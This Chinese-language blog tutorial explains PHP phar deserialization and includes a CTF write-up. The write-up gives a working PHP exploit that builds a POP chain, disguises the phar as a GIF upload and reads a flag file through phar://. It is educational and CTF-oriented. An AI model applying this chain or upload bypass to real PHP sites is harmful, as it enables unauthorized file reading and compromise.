淺析phar反序列化漏洞攻擊及實戰

2020-12-14 湖南蟻景

前言

phar反序列化漏洞很久之前就開始接觸了;因為當時出了點問題導致一直無法成功,所以當時直接去學習其他的漏洞了;今天覺得是時候把這個漏洞補上去了;

漏洞成因

phar文件會以序列化的形式存儲用戶自定義的meta-data;該方法在文件系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作

原理分析

phar的組成

通過查閱手冊發現phar由四部分組成;翻閱手冊可以知道,phar由四個部分組成,分別是`stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)` 下面進行解釋一下;

1 .0 a stub

標識作用,格式為xxx<?php xxx; __HALT_COMPILER();?>,前面任意,但是一定要以__HALT_COMPILER();?>結尾,否則php無法識別這是一個phar文件;

2 .0 a manifest describing the contents

其實可以理解為phar文件本質上是一中壓縮文件,其中包含有壓縮信息和權限,當然我們需要利用的序列化也在裡面;

圖片來源seebug

3 .0 the file contents

這裡指的是被壓縮文件的內容;

4 .0 [optional] a signature for verifying Phar integrity (phar file format only)

籤名,放在結尾;

試驗

這裡引用開心師傅給的一個實例;來進行生成;

```php

<?php

class TestObject {

}

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //後綴名必須為phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub

$o = new TestObject();

$phar->setMetadata($o); //將自定義的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要壓縮的文件

//籤名自動計算

$phar->stopBuffering();

?>

```

然後在伺服器之下運行,發現成功生成phar文件;

然後打開這個phar文件,我們發現已經成功;並且數據的存儲方式是以序列化的方式存儲的;

那麼既然有序列化,那麼就一定有反序列化,php的很多文件系統函數在通過phar://偽協議解析phar文件的時候。都會將mate-data進行反序列化。

將phar偽造為其他類型的文件

前面在講的時候已經介紹了phar的四個部分,這裡注意到第一個部分stub;因為這個部分的存在,縱然我們修改了phar後綴,伺服器讀取到stub的時候依然會當作phar文件;再準確點講就是下面的代碼;(二進位的編譯器有點問題,簡單用記事本來看看;)也還是可以發現是以序列化形式存儲的;

實戰

拿一道 SWPUCTF 中的一道題目來講;進去就發現了包含漏洞,然後直接讀取源碼,發現並沒有對phar進行過濾;而且原始碼裡有提示,所以差不多實錘了,就是phar反序列化漏洞了;

直接來對關鍵的代碼進行分析;class.php

這裡面看到有三個類,再明顯不過了,這就是主要的pop鏈的構造處;然後發現了危險的函數 file_get_contents();那看來就是利用這個讀源碼了;

一步步分析;先看到C1e4r這個類裡面有echo;那要利用echo;以達到輸出字符串的目的;

然後看到show類裡有一個 __toString()方法,這個方法在對象被轉化為字符串的時候會自動調用;比如進行echo print的時候會進行調用並返回一個字符串;

然後審計Test類,發現file_get_contents()函數,那就是利用了;一步一步向前追溯 file_get->get->__get();這裡主要還是調用__get()方法;

那麼這裡思路差不多清晰了;簡單來講;在test類中要調用__get方法,那麼觸發這個方法我們需要在show類裡尋,因為這個類裡面運用了source屬性,所以只需要將 str['str'] 賦值為 Test類就可以,那麼觸發 __toString()方法就需要用到我們的第一個類裡面的echo了;

那麼思路清晰就構造處pop鏈;

exp編寫

<?php

class C1e4r

{

public $test;

public $str;

}

class Show

{

public $source;

public $str;

}

class Test

{

public $file;

public $params;

}

$c1e4r = new C1e4r();

$show = new Show();

$test = new Test();

$test->params['source'] = "/var/www/html/f1ag.php";

$c1e4r->str = $show;

$show->str['str'] = $test;

$phar = new Phar("exp.phar");

$phar->startBuffering();

$phar->setStub('<?php __HALT_COMPILER(); ? >');

$phar->setMetadata($c1e4r);

$phar->addFromString("exp.txt", "test");

$phar->stopBuffering();

?>

生成phar文件,改後綴為gif繞過限制,上傳之後進入upload目錄之下(或者根據原始碼算出上傳後的文件名),複製文件名到讀取文件的窗口讀取 file=phar://xxxxxx.jpg然後得到base64的編碼解碼就好。

合天網安實驗室--PHP安全特性之偽協議(通過該實驗了解php中的偽協議的應用及攻擊手段研究,能熟練使用burpsuite、中國菜刀等安全工具的使用。)

相關焦點

  • php反序列化漏洞
    前言本文總結php的反序列化,有php反序列字符串逃逸,php反序列化pop鏈構造,php反序列化原生類的利用,phar反序列化,session反序列化,反序列化小技巧,並附帶ctf小題來說明,還有php反序列化的預防方法(個人想法),建議按需查看,如有錯誤還望斧正。
  • fastjson 發布關於「反序列化遠程代碼執行漏洞」的安全公告
    昨天我們報導了 fastjson 補曝出存在高危遠程代碼執行漏洞,今天 fastjson 官方發布了安全公告:https
  • fastjson 發布關於「反序列化遠程代碼執行漏洞」的安全公告...
    昨天我們報導了 fastjson 補曝出存在高危遠程代碼執行漏洞,今天 fastjson 官方發布了安全公告。以下為完整公告引用:安全公告20200601近日,阿里雲應急響應中心監測到fastjson爆發新的反序列化遠程代碼執行漏洞,黑客利用漏洞,可繞過autoType限制,直接遠程執行任意命令攻擊伺服器,風險極大。
  • Shiro rememberMe反序列化攻擊檢測思路
    繼續向上追蹤,最後到DefaultSerializer類的deserialize方法調用了readObject,對解密的數據進行反序列化。由於該漏洞攻擊特徵被加密,和正常數據看起來相似,在護網等場景下被攻擊者大量使用,並且較難在不影響正常業務情況下直接做攔截。
  • Apache Dubbo反序列化漏洞及補丁繞過(哨兵雲支持檢測)
    近日,默安科技應急響應中心發現Apache Dubbo發布安全公告,披露Provider默認反序列化導致的遠程代碼執行漏洞(CVE-2020-1948),攻擊者可以發送帶有無法識別的服務名或方法名及某些惡意參數負載的RPC請求,當惡意參數被反序列化時將導致代碼執行。
  • CVE-2020-9484 tomcat session反序列化漏洞分析
    本文藉助CVE-2020-9484 Tomcat漏洞詳細的介紹了本地和遠程調試Tomcat 源碼。分析漏洞成因以及補丁修補情況,以及分析ysoserial反序列化鏈。0x01 漏洞簡介Apache Tomcat發布通告稱修復了一個源於持久化Session的遠程代碼執行漏洞(CVE-2020-9484)。
  • 「漏洞復現」Weblogic反序列化漏洞(CVE-2018-2628)
    漏洞描述Weblogic Server中的RMI 通信使用T3協議在Weblogic Server和其它Java程序(客戶端或者其它Weblogic Server實例)之間傳輸數據, 伺服器實例會跟蹤連接到應用程式的每個
  • 戳腳要義實戰淺析
    技術淺析:圈點腿為先防後攻之技法,由「圈腿」和「點腿」組成。這兩個腿法又是「戳腳八字腿」之基本腿法。此式中,圈腿主防,點腿重攻,圈腿與點腿要銜接緊密,猶如一個動作,中間不得停頓。1、圈腿在實戰中,右腿擺動幅度要小,腳走圓圈路線,膝放襠腹,腳護膝胯的同時,擰腰收胯並轉體。圈腿有兩種用法:一是以圈腿防敵之進攻,二是以圈腿虛晃敵身,使其不敢貿然進身。這裡介紹的是第一種用法。
  • Java在網站滲透測試中的漏洞分析
    近期許多網民跟我說為何出現系統漏洞的網站程序全是PHP開發設計的,而非常少有JAVA和Python的滲透案例,先不用說python,就PHP和Java談一談。在這以前,先何不記牢那麼一個依據(眼底下也無需擔心它對嗎):PHP網站系統漏洞類型多但不繁雜,Java網站系統漏洞則反過來。為什麼在被實戰滲透中的網站大部分是PHP代碼開發設計的?這個問題可以先放一放,先說下邊的這幾個問題。1.為何看了許多分享實戰中的案例全是PHP代碼開發設計的網站?
  • ApacheShiro身份驗證繞過高危漏洞的預警通報
    近日,Apache官方公布了Apache Shiro身份驗證繞過高危漏洞和Apache Dubbo反序列化高危漏洞。遠程攻擊者通過Apache Shiro身份驗證繞過高危漏洞可繞過身份驗證,通過Apache Dubbo反序列化高危漏洞可造成惡意代碼執行。
  • 網站安全公司 修復PHP反序列化漏洞
    php的反序列化漏洞,php的盲點,也是一個常見的漏洞,這種漏洞充滿了一些場景,雖然有些很難調用,但是成功的後果很危險。漏洞形成的根本原因是沒有序列識別程序,從而導致序列字符串的檢測。反序列化漏洞不僅僅存在於php中,而且還存在於java、python中。基本上是一樣的原理。
  • CVE-2020-2555:WebLogic RCE漏洞分析
    轉載:nosec 作者:iso600010x00 前言不安全的反序列化漏洞已經逐漸成為攻擊者/研究人員在面對Java Web應用時尋找的目標。這些漏洞通常能得到可靠的遠程代碼執行(RCE)效果,並且修復起來比較困難。
  • 漏洞分析 | Laravel Cookie偽造漏洞分析
    Laravel發布安全通告,修復了一個Cookie偽造漏洞。這個漏洞利用難度較高,需要程序會對用戶輸入進行加密,並返回加密結果。由於未將cookie-value與cookie-name進行綁定,導致可以通過構造合法密文來進行cookie偽造,造成邏輯漏洞,當Session_handler為cookie時會造成遠程命令執行。
  • BIAS攻擊:一個影響數十億設備的藍牙漏洞
    BIAS攻擊 BIAS攻擊,即Bluetooth Impersonation AttackS——藍牙冒充攻擊。研究人員在Bluetooth BR/EDR中發現了一些嚴重的安全漏洞,包括缺乏強制相互身份認證、角色轉化過度輕鬆、認證過程降級等。攻擊者利用該漏洞可以打破標準適配設備的藍牙安全機制。
  • Apache Dubbo反序列化漏洞(CVE-2019-17564)
    No.2 漏洞描述Unsafe deserialization occurs within a Dubbo application which has HTTPremoting enabled上面這部分是官方描述,也就是說當HTTP remoting 開啟的時候,存在反序列化漏洞。有一點在描述中值得注意的,也就是說它影響不只是dubbo,還有spring-web(5.1.9.RELEASE)之前。
  • Apache Dubbo出現嚴重漏洞,華為雲WAF可提供防護
    2020年2月13日,華為雲安全團隊監測到應用廣泛的Apache Dubbo出現一個較為嚴重的漏洞:反序列化漏洞(漏洞編號:CVE-2019-17564)。攻擊者利用該漏洞,可在目標網站上遠程執行惡意代碼,最終導致網站被控制、數據洩露等。
  • Jackson曝多個反序列化安全漏洞,聚銘網絡iNFA產品支持檢測
    1、漏洞描述FasterXML Jackson發布了新的高危漏洞(漏洞編號:CVE-2020-24616),其官方團隊發布了 FasterXML jackson-databind 2.9.10.6版本,其中修復了幾個反序列化漏洞。
  • Windows出現漏洞,黑客可用PPT文件發起攻擊
    微軟日前發布了一款臨時補丁,修復Windows中的「零日漏洞」,該漏洞影響除Windows Server 2003外的所有Windows版本。目前已經有黑客利用PowerPoint文件對該漏洞發動攻擊,該漏洞存在於操作OLE(對象連接與嵌入)對象的作業系統級代碼裡。OLE允許用戶在PowerPoint文檔中嵌入Excel文件,用戶只需在同一個地方即可進行編輯。如果用戶打開一個含有惡意OLE對象的軟體,就有可能被攻擊者遠程攻擊。黑客不僅可以利用PowerPoint文件發送攻擊,也可以通過其他類型的Office軟體。
  • 移花or天香 實戰能力對比淺析
    一個是霸佔輔助一姐地位已久的天香,一個是新出的輔助移花,今天帶大家來對比淺析下天刀兩個輔助門派的實戰能力究竟如何。PVE:把天香稱作輔助一姐,應該完全不過分。天刀唯一能治療他人的門派,高等級話本必備門派,甚至開荒時五人本就要帶兩個天香,十人本要四個天香,種種都能看出天香在話本中的重要性。